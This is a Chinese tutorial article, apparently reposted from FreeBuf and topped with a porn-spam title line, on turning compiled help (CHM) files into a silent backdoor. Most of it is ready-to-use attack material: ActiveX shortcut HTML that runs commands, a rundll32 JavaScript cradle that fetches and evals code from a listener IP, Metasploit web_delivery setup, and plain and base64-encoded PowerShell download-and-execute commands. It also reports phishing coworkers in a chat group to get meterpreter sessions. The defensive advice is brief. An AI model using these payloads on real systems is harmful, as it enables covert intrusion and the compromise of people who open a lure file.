自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

高級(jí)組合技打造捆綁后門(mén)及防御建議

安全 應(yīng)用安全
CHM(Compiled Help Manual)即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內(nèi)容以類(lèi)似數(shù)據(jù)庫(kù)的形式編譯儲(chǔ)存。

一、CHM簡(jiǎn)介

在介紹怎么使用CHM來(lái)作為后門(mén)之前,首先要知道CMH是什么東西。

CHM(Compiled Help Manual)即“已編譯的幫助文件”。它是微軟新一代的幫助文件格式,利用HTML作源文,把幫助內(nèi)容以類(lèi)似數(shù)據(jù)庫(kù)的形式編譯儲(chǔ)存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常見(jiàn)圖形文件(GIF、JPEG、PNG)、音頻視頻文件(MID、WAV、AVI)等等,并可以通過(guò)URL與Internet聯(lián)系在一起。因?yàn)槭褂梅奖?,形式多樣也被采用作為電子?shū)的格式。

二、CHM制作

CHM的制作方法很多。有多款工具可以使用,這里就不在做詳細(xì)的介紹了。本次測(cè)試使用了EasyCHM來(lái)制作CHM文件,使用起來(lái)非常簡(jiǎn)單。

新建如下目錄,文件內(nèi)容隨意:

打開(kāi)EasyCHM,新建->瀏覽。選擇該目錄。默認(rèn)文件類(lèi)型:

點(diǎn)擊確認(rèn),即可看到預(yù)覽的CHM文件:

選擇編譯,即可編譯成CHM文件。

三、CHM Execute Command

14年的時(shí)候@ithurricanept 在twitter上發(fā)了一個(gè)demo,通過(guò)CHM運(yùn)行計(jì)算器:

利用代碼如下:

  1. <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM name="Command"    value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>  

將以上代碼寫(xiě)入html,置于工程目錄進(jìn)行編譯,生成CHM文件,運(yùn)行此文件,彈出計(jì)算器:

四、去除彈框

有測(cè)試過(guò)nishang Out-CHM的同學(xué)會(huì)發(fā)現(xiàn),運(yùn)行生成的CHM文件的時(shí)候會(huì)看到明顯的彈框。就像這樣:

某個(gè)晚上突然腦洞了一下,想到了一個(gè)好的方式來(lái)讓他不顯示彈框,即結(jié)合使用JavaScript Backdoor。經(jīng)過(guò)測(cè)試,成功實(shí)現(xiàn)在不彈框的情況下獲取meterpreter會(huì)話(huà),此次測(cè)試使用一個(gè)我修改過(guò)的python版 JSRat.ps1 ,地址為:https://github.com/Ridter/MyJSRat。使用方式詳見(jiàn) readme。

以下為完整的測(cè)試過(guò)程:

1. 結(jié)合CHM + JSBackdoor

使用交互模式的JSRat server:

  1. python MyJSRat.py -i 192.168.1.101 -p 8080 

訪(fǎng)問(wèn) http://192.168.1.101:8080/wtf 獲取攻擊代碼如下:

  1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c    taskkill /f /im rundll32.exe",0,true);}  

經(jīng)過(guò)多次測(cè)試,成功將以上命令寫(xiě)入chm,其Html代碼為:

  1. <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>This is a demo ! <br><OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1><PARAM    name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","    http://192.168.1.101:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'> <PARAM name="Item2" value="273,1,1"></OBJECT><SCRIPT>x.Click();</SCRIPT></body></html>  

編譯以后運(yùn)行,可以成功獲取JS交互shell:

直接執(zhí)行cmd /c command 是會(huì)有黑框的,可以使用run來(lái)避免顯示黑框。執(zhí)行run以后,輸入 whoami > e:\1.txt 之后通過(guò)read 來(lái)獲取回顯。

2. 獲取meterpreter會(huì)話(huà)

此次測(cè)試獲取meterpreter會(huì)話(huà)的方式是通過(guò)執(zhí)行powershell命令,直接獲取,當(dāng)獲取客戶(hù)端JS 交互shell之后自動(dòng)執(zhí)行powershell命令,獲取meterpreter會(huì)話(huà)。具體操作如下:

開(kāi)啟MSF web_delivery:

  1. ~  msfconsole -Lqmsf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2target => 2msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf    exploit(web_delivery) > set lhost 192.168.1.101lhost => 192.168.1.101msf exploit(web_delivery) > set lport 6666lport => 6666msf exploit(web_delivery) > set SRVPORT 8081SRVPORT => 8081msf exploit(web_delivery) >    set uripath /uripath => /msf exploit(web_delivery) > exploit[*] Exploit running as background job.msf exploit(web_delivery) >[*] Started reverse TCP handler on 192.168.1.101:6666[*] Using URL: http://0.0.0.0:8081/[*]    Local IP: http://192.168.1.101:8081/[*] Server started.[*] Run the following command on the target machine:powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX    $n.downloadstring('http://192.168.1.101:8081/');  

裝有powershell的客戶(hù)端執(zhí)行以下命令則可獲取meterpreter會(huì)話(huà):

  1. powershell.exe -nop -w hidden -c $n=new-object net.webclient;$n.proxy=[Net.WebRequest]::GetSystemWebProxy();$n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $n.downloadstring('http://192.168.1.101:8081/');  

由于存在特殊字符,我們可以把以上代碼編碼為base64格式,將以下代碼存入power.txt:

  1. $n=new-object net.webclient; $n.proxy=[Net.WebRequest]::GetSystemWebProxy(); $n.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials; IEX $n.downloadstring('http://192.168.1.101:8081/');  

執(zhí)行以下命令:

  1. cat power.txt | iconv --to-code UTF-16LE |base64  

最終要執(zhí)行的powershell命令為:

  1. powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA==  

使用執(zhí)行命令模式直接獲取meterpreter會(huì)話(huà):

  1. python MyJSRat.py -i 192.168.1.101 -p 8080 -c "powershell -ep bypass -enc IAAkAG4APQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AAoAIAAkAG4ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsACgAgACQAbgAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9AFsATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAIABJAEUAWAAgACQAbgAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADEAMAAxADoAOAAwADgAMQAvACcAKQA7AA=="  

測(cè)試過(guò)程中,從運(yùn)行CHM到獲取meterpreter,客戶(hù)端無(wú)明顯異常,全程無(wú)黑框彈出,獲取到meterpreter會(huì)話(huà)如下圖:

3. 是否被殺?

可能很多人會(huì)問(wèn),會(huì)不會(huì)被殺,下面是virscan的查殺結(jié)果:

http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba

五、利用場(chǎng)景

注: 隨便找了幾個(gè)漏洞利用工具修改了文件名,并不代表原作者分享的工具有問(wèn)題。

六、實(shí)際測(cè)試

是用上述方式制作chm文件,命名為一個(gè)比較有吸引力的名字,比如在公司技術(shù)群發(fā)了一個(gè)名字為”制作免殺后門(mén).chm”的文件,實(shí)際測(cè)試結(jié)果如下圖:

成功獲取多個(gè)人的meterpreter會(huì)話(huà)。

七、防御

最好的防御就是提高個(gè)人安全意識(shí),對(duì)于此類(lèi)文件,多注意一下,盡量別亂點(diǎn)。如果非要點(diǎn),可以放到虛擬機(jī)里面,使用procexp.exe可以看到存在后門(mén)的chm文件會(huì)開(kāi)啟新的進(jìn)程:

對(duì)于碰到這種后門(mén),怎么溯源呢,其實(shí)也很簡(jiǎn)單,chm是可以反編譯為html的。

使用windows自帶的hh.exe 則可進(jìn)行反編譯。命令如下:

  1. C:\Users\evi1cg\Desktop>hh -decompile test poc.chm  

#test 為當(dāng)前目錄的test文件夾。

執(zhí)行結(jié)果如下:

這樣就可以看到其源代碼并可以找到攻擊者的監(jiān)聽(tīng)服務(wù)器了。

至于其他防御姿勢(shì),知道的小伙伴可以分享一下。

八、小結(jié)

此次測(cè)試就是對(duì)一些已知的攻擊手法進(jìn)行結(jié)合,結(jié)果是讓此捆綁后門(mén)更加隱蔽,近乎“完美”,美中不足的是在文件開(kāi)啟的時(shí)候會(huì)出現(xiàn)短暫的卡頓。有時(shí)候小漏洞結(jié)合起來(lái)能造成大危害,小手法結(jié)合起來(lái)也能成大殺器。本著分享的精神將此姿勢(shì)介紹,希望小伙伴們能免受其害。

九、參考

責(zé)任編輯:趙寧寧 來(lái)源: FreeBuf
相關(guān)推薦

2016-04-01 09:32:52

2018-11-20 10:09:28

網(wǎng)絡(luò)安全網(wǎng)絡(luò)安全技術(shù)周刊

2014-06-19 15:44:31

2010-09-25 08:44:34

捆綁后門(mén)

2023-01-06 08:42:02

學(xué)習(xí)訓(xùn)練

2024-09-03 08:00:00

2015-12-02 16:46:20

2014-09-18 09:42:15

2009-08-27 17:57:54

2010-09-17 16:23:53

分離捆綁后門(mén)

2021-12-29 18:16:31

威脅防御

2025-04-29 08:18:48

2009-02-11 19:39:32

IEWindowsChrome

2015-12-21 10:28:20

2009-01-03 11:01:06

2011-09-29 20:52:51

百銳防御信息安全

2016-03-01 11:34:55

2010-09-30 15:20:01

2023-07-26 17:13:38

2018-01-18 23:06:54

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)